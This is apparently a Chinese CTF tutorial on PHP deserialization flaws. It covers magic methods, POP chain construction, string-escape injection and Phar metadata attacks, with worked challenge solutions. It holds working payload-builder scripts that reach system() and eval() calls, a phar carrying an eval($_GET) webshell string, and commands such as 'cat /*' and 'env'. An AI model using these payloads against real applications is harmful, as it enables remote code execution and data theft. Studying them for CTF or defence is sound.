序列化


注意:

  • 当一个父类实现序列化的时候,其子类也会自动实现序列化,不需要serializable接口
  • 当一个对象的实例变量引用另一对象时,序列化该对象也应该序列化被引用的对象

序列化的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php  
class test{
//定义了三个属性
private $username='usname'; //私有权限,只能在本类中使用,子类不能继承
protected $passwd='123456'; //私有权限,只能在本类中使用,但子类是可以继承该变量的
public $id='1'; //公有

//一个获取passwd的类方法
public function testpasswd($passwd){
$this->passwd = $passwd; //将函数传进来的值传给passwd
}

//输出passwd的类方法
public function getpasswd(){
echo $this->passwd;
}
}
$flag = new test(); //建立test对象为实例
$flag->testpasswd(admin123); //调用testpasswd函数并传参
$data = serialize($flag);
echo $data;
?>

//O:4:"test":3:{s:14:"testusername";s:6:"usname";s:9:"*passwd";s:8:"admin123";s:2:"id";s:1:"1";}

一个类进行序列化以后,存储在字符串中的信息只有类名称和类内属性键值对,没有类方法。因此我们在构造反序列化的脚本时可以把方法省略,不需要的用不上的直接删掉。

反序列化


反序列化是什么:
是将序列化后的数据恢复为对象或数据结构的过程。

在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。

在Java中没有魔术方法,但是有反射机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。

在本文中,我们重点讲php反序列化。

php序列化时的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct() 创建对象时调用,但在unserialize()时是不会自动调用的
__destruct() 销毁对象时调用,可以直接理解为new该对象时直接触发该方法
__toString() 当一个对象被当作一个字符串使用 //找和str相关的函数,和字符串相关的函数
__sleep() 在对象在被序列化之前运行
__wakeup 将在反序列化之后立即被调用,unserialize()
__set方法:当程序试图写入一个不存在或不可见的成员变量时,PHP就会执行set方法。
__get方法:当程序调用一个未定义或不可见的成员变量时,通过get方法来读取变量的值。
//__set()和__get()都指向__call()
__invoke():当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
//找类似于 $a()
__call()方法:当调用一个对象中不存在的方法时,call 方法将会被自动调用。

__clone():当对象复制完成时调用 例: $对象1 = clone $对象2

可以行反序列化操作的函数

可以代替unserialize()进行反序列化操作的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unserialize()
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fikeperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile

解析字符

例如:

1
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

其中:

O //这里是O不是零。代表对象,因为我们序列化的是一个对象,序列化数组则用A表示
3 //代表类名字占三个字符
ctf //类名

3 //代表三个属性

s //代表字符串,算是一个标识

4 //属性名的长度

flag // 属性名

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

访问控制修饰符 特征
public 公有
protected 受保护,属性被序列化的生活属性值会变成:%00*%00属性名
private 私有的,属性被序列化的时候属性值会变成:%00类名%00属性名

例如:

1
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化

PHP反序列化漏洞,如果按照反序列化入口区分,可以分为三类:

  • 调用Unserialize函数进行反序列化
  • 利用Session处理中进行的反序列化操作
  • 通过Phar伪协议进行反序列化

下文讲述的两种手法(我称之为手法,或者说是ctf比赛中的考点)大部分是基于Unserialize函数使用不当的。

  • pop链的构造
  • 字符串逃逸

pop链练习


POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

也可以这样理解,构造一条完整的调用链,这条调用链与原来代码的调用链一致,不过部分属性被我们所控制,从而达到攻击目的。构造的这条链就是POP链。

方法:

  1. 找到可以利用的地方,比如:文件包含,命令执行等
  2. 从利用地方溯源到可控制地方,找到链条
  3. 达到目的,反序列化,需要编码则编码

简单点的

例题1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
class ro0t {
public $test;
public $flag = "flag";
function __construct() {
$this->test = new A();
}

function __destruct() {
$this->test->action();
}
}

class A {
function action() {
echo "Welcome!";
}
}

class Evil {

public $test2;
function action() {
system($this->test2);
}
}

unserialize(_GET["test"]);
1
2
3
4
5
$a = new ro0t();  
$a->test = new Evil();
$a->test->test2 = "id";
$data = serialize($a);
echo $data;

例题2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class MyFile {
public $name = '/etc/hosts';
public $user = '';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
var_dump($b);
?>

例题3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

入口点为GetFlag类中的get_flag()方法
string1类中的魔术方法__toString()调用了get_flag()方法 ,func类中__invoke()方法中字符串拼接会触发__toString(),所以需要将string1类在func类中作为字符串使用,funct类中的魔术方法__call()中的$s1()会触发__invoke()方法,由于test2()方法不存在,所以调用Call类中的test1方法,$this->mod1->test2();会触发__call()。而test1的调用方法在start_gg类的__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
class start_gg
{
public $mod1;
public $mod2;

public function __construct()
{
$this->mod1 = new Call();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;

public function __construct(){
$this->mod1 = new funct();
}

public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;

public function __construct(){
$this->mod1 = new func();
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new string1();
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;

public function __construct()
{
$this->str1= new GetFlag();
}

public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:xxxxxxxxxxxx";
}
}
//$a = $_GET['string'];
//unserialize($a);
$b = new start_gg;
echo urlencode(serialize($b));
?>

# O%3A8%3A%22start_gg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22Call%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A5%3A%22funct%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22func%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22string1%22%3A2%3A%7Bs%3A4%3A%22str1%22%3BO%3A7%3A%22GetFlag%22%3A0%3A%7B%7Ds%3A4%3A%22str2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Dflag:xxxxxxxxxxxx

例题4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>

漏洞点在于调用Modifier类中的 append()方法使用include,造成任意文件包含漏洞。

  1. Modifier类中append方法被__invoke()调用,并传入$this->var参数。当类Modifier被当作函数调用的时候,会自动调用魔术方法__invoke()
  2. Test类的构造函数中看到this->p = array();,属性被当作函数调用可以触发__invoke()方法。然后通过__get()来return一个p(),需要把p赋值为Modifier类的对象,this->var可以传入想要包含的文件。
    1
    $this->p = new Modifier();
  3. Test类中触发__get()需要程序调用一个未定义或不可见的成员变量。发现在Show类中的__toString()存在return $this->str->source;,而str如果是Test类的对象则不存在source属性。
    1
    $this->str = new Test(); 
  4. Show类中的__toString()触发需要一个对象被当作一个字符串使用。发现Show中存在构造函数使用echo输出'Welcome to '.$this->source."<br>";,如果$this->source指向一个对象,就会触发__toString()
    1
    $this->source = new Show();

尝试构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php  
class Modifier {
protected $var = "flag.txt";
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}

$a = new Show();
$a -> source = $a;
$a -> p = new Test();
echo urlencode(serialize($a));
?>

【NewStarCTF 公开赛赛道】UnserializeOne

buu上就有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php  
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}

__isset:当对不可访问属性调用isset()或empty()时调用

__clone:当对象复制完成时调用
例: $对象1 = clone $对象2

分析一下代码
入口点在Sec类的__invoke()中的file_get_contents()
Start类中的__isset($var)($this->func)();会触发__invoke()
eeee类中的__clone()$this->obj->cmd会触发__isset()
Easy类中的 __call($fun, $var)$this->cla = clone $var[0]; 会触发__clone()Sec类中的__toString()$this->obj->check($this->var);会触发__call()Start类中的__destruct()echo “Welcome to NewStarCTF, “.$this->name;触发__toString()`

pop链

1
Sec::__invoke() <-- Start::__isset() <-- eeee::__clone() <-- Easy::__call() <-- Sec::__toString() <-- Start::__destruct()

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php  
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}

$a = new Start();
$a->name = new Sec();
$a->name->obj = new Easy();
$a->name->var = new eeee();
$a->name->var->obj = new Start();
$a->name->var->obj->func = new Sec();
echo serialize($a);
?>

成功

【moectf】2024popme

moectf2024的popme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

class class000 {
private $payl0ad = 0;
protected $what;

public function __destruct()
{
$this->check();
}

public function check()
{
if($this->payl0ad === 0)
{
die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}

if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

倒着找,可以利用的点在class003类中的evvval()eval()
class002类中的dangerous方法中调用过evvval()
class002类中存在__set()$this->$b($this->sec);,当$b"dangerous"
那么 __set() 方法会调用 dangerous($this->sec)
class001类中的__invoke()$this->a->payload = $this->payl0ad;会触发__set()
class000类中的check()$a();会触发__invoke()
class000类中__destruct()直接调用check();
那么我们只要控制好payl0ad 属性和what 属性即可。

pop链

1
class003::evvval() <-- class002::dangerous() <-- class002::__set() <-- class001::__invoke() <-- class000::check() <-- class000::__destruct()

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
class class000{
public $payl0ad = 1; //原本为private
public $what;

}
class class001{
public $payl0ad = 'dangerous';
public $a;

}
class class002{
public $sec; //private
}

class class003{
public $mystr;
}

$res = new class000();
$res->payl0ad = 1;
$res-> what = new class001();
$res-> what -> a = new class002 ();
$res-> what -> a -> sec = new class003();
$res-> what -> a -> sec -> mystr = 'system("ls");';
echo serialize($res);

?>

根据题目再次构造

1
O:8:"class000":2:{s:7:"payl0ad";i:1;s:4:"what";O:8:"class001":2:{s:7:"payl0ad";s:9:"dangerous";s:1:"a";O:8:"class002":1:{s:3:"sec";O:8:"class003":1:{s:5:"mystr";s:14:"system("env");";}}}}

成功
image.png

注意!这道题中存在属性访问控制
可以将private、protect全改为public,改变属性访问控制即可
或者是重写接口,间接调用属性,会比较麻烦。

字符串逃逸


序列化的字符串在经过过滤函数不正确的处理而导致对象注入,主要原因是因为过滤函数放在了serialize函数之后。
反序列化字符串都是以";}结束的,所以如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。

在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。程序也就会报错。

增长逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
echo $c->pass;
?>
# O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
# O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
# 123456

序列化A类对象并输出
序列化A类对象并使用fileter方法后输出
输出最后的pass
由于A中不含有bb所以一切正常

现在我们修改一下代码,加入bb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaabb';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
echo $c->pass;
?>
# O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
# O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}

序列化A类对象并输出
序列化A类对象并使用fileter方法后输出,此时name的值已经修改,且长度由6变为7,其本身无法再次进行反序列化,所以无法输出pass的值
并且根据反序列化函数的规则,它只会检测长度为6,也就是说最后一个’c’无法检测,这样我们就逃逸了一个字符。

假设我们要使用这个逃逸的间隙来修改pass的值,那么我们的payload可以是:

1
";s:4:"pass";s:4:"hack";}

上述payload长度为25,那么我们添加25个”bb“

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
echo $c->pass;
?>
# O:1:"A":2:{s:4:"name";s:75:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"123456";}
# O:1:"A":2:{s:4:"name";s:75:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"123456";}
# hack

修改成功
这里的思想就是原字符长度+payload长度=过滤后的字符长度
由于数量的限制和闭合的存在,能够完成反序列化,同时舍弃原来的数据。

缩短逃逸

思路大体一致,就不赘述了。
PHP反序列化-字符逃逸 - Sayo-NERV - 博客园 (cnblogs.com)

Phar反序列化


前置知识

可以认为Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

Phar文件的结构

1
2
3
4
1. Stub       //Phar文件头
2. manifest //压缩文件的属性等信息,以**序列化**存储;
3. contents //压缩文件内容
4. signature //签名 放在文件末尾

展开来说
Stub
Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

1
xxx<?php xxx; __HALT_COMPILER();?>

前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。

manifest
a manifest describing the contents,用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

contents
the file contents,这里用于存放Phar文件的内容

a signature for verifying Phar integrity (phar file format only)
签名(可选参数),位于文件末尾,具体格式如下
在这里插入图片描述从官方文档中不难看出,签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

可触发反序列化的文件操作函数

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fileatime
file_put_contents
fileinode
is_dir
is_readable
copy
filectime
file
filemtime
is_executable
is_writable
unlink
file_exists
filegroup
fileowner
is_file
is_writeable
stat
file_get_contents
fopen
fileperms
is_link
parse_ini_file
readfile

如果题目限制了,phar://不能出现在头几个字符。可以用Bzip / Gzip协议绕过。

1
$filename = 'compress.zlib://phar://phar.phar/test.txt';

虽然会警告但仍会执行,它同样适用于compress.bzip2://
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,极大的拓展了反序列化攻击面。

利用条件

  • phar文件能够上传至服务器
  • 要有可利用的魔术方法
  • 文件操作函数的参数可控 ,并且phar\没被过滤
    • 上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是Phar://这种,如果这几个特殊字符被过滤就无法实现反序列化

接下来,我们还是通过几个CTF题目来学习phar反序列化的利用。

例题1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
highlight_file(__FILE__);

if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class cla{
var $op = "echo fail";
function __destruct(){
system($this->op);
}
}
file_exists($filename);
}
?>

直接利用file_exists()函数进行phar反序列化,生成phar文件然后上传即可。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  
class cla{
var $op = '@eval($_GET[_]);';
}

$a = new cla();
$filename = 'hack.phar';
file_exists($filename) ? unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

注意!
在生成Phar文件前需要将php.ini中的 phar.readonly选项设置为Off,否则无法生成phar文件。

【NewStarCTF 2023 公开赛道】Unserialize Again

抓包发现:

1
Cookie: looklook=pairing.php

得到题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php  
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){        $this->user='AshenOne';        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){    // $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
    echo '多吃雪梨';
}

分析一下源码,仅关注反序列化过程,其余一笔带过。
倒过来找,注意绕过__wakeup()。
story类中的__destruct()system($this->eating);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
class story{
public $user; //private
public $pass;
public $eating;
public $God;
}

$a = new story();
$a->user='admin';
$a->God ='true';
$a->eating = 'cat /*';
//phar文件构造
$phar = new Phar('hack.phar');
$phar->startBuffering();
$phar->setStub( "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

将生成的文件,用010打开,复制到新建的十六进制文件
修改属性数目绕过wakeup
然后由于签名文件损坏要修复,注意到倒数第二行最后面的03
可以知道为SHA256,修复脚本如下

1
2
3
4
5
6
7
8
from hashlib import sha256
with open("hacker1.phar",'rb') as f:
text=f.read()
main=text[:-40] #正文部分(除去最后40字节)
end=text[-8:] #最后八位也是不变的
new_sign=sha256(main).digest()
new_phar=main+new_sign+end
open("hacker1.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件

其他参考链接:
3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园 (cnblogs.com)
奇安信攻防社区-【PHP代码审计】站点中的Phar反序列化漏洞 (butian.net)
PHP反序列化入门之phar | Mochazz’s blog
PHP Phar反序列化浅学习 - 跳跳糖 (tttang.com)
php反序列化拓展攻击详解–phar - 先知社区 (aliyun.com)